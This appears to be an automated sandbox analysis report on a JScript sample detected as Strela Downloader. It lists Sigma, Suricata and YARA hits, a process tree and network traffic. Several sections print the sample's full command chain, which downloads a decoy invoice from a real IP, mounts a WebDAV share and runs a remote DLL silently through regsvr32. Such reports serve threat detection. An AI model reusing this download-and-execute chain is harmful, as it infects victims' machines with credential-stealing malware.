Edit tour

Windows Analysis Report
4036231441630930293.js

Overview

General Information

Sample name:	4036231441630930293.js
Analysis ID:	1588146
MD5:	5565d3d73c24e2fcf338b0699e21987f
SHA1:	30b03517287ab69fe0aa690456bef83dbd665d0e
SHA256:	ff238a8cf2185945cc92ca0f04df5d30b53d071386818a137bc5d5b3d81f2d03
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5768 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4036231441630930293.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 768 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3228 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5664 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5504 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 3684 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 3160 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1648,i,4325848823295706323,9422019442632533307,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 2848 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 4452 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6892 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5768	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 768, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5664, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 768, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5664, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4036231441630930293.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4036231441630930293.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4036231441630930293.js", ProcessId: 5768, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 4452, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4036231441630930293.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5768, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, ProcessId: 768, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4036231441630930293.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5768, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, ProcessId: 768, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4036231441630930293.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5768, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, ProcessId: 768, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4036231441630930293.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5768, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, ProcessId: 768, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4036231441630930293.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5768, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, ProcessId: 768, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4036231441630930293.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4036231441630930293.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4036231441630930293.js", ProcessId: 5768, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 768, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5664, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2848, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4452, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6892, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2848, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4452, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4036231441630930293.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5768, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, ProcessId: 768, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:55:44.108095+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:55:41.915204+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 4036231441630930293.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 4036231441630930293.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:55:41 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 63 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.8:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49704 -> 193.143.1.205:80

Source: global traffic

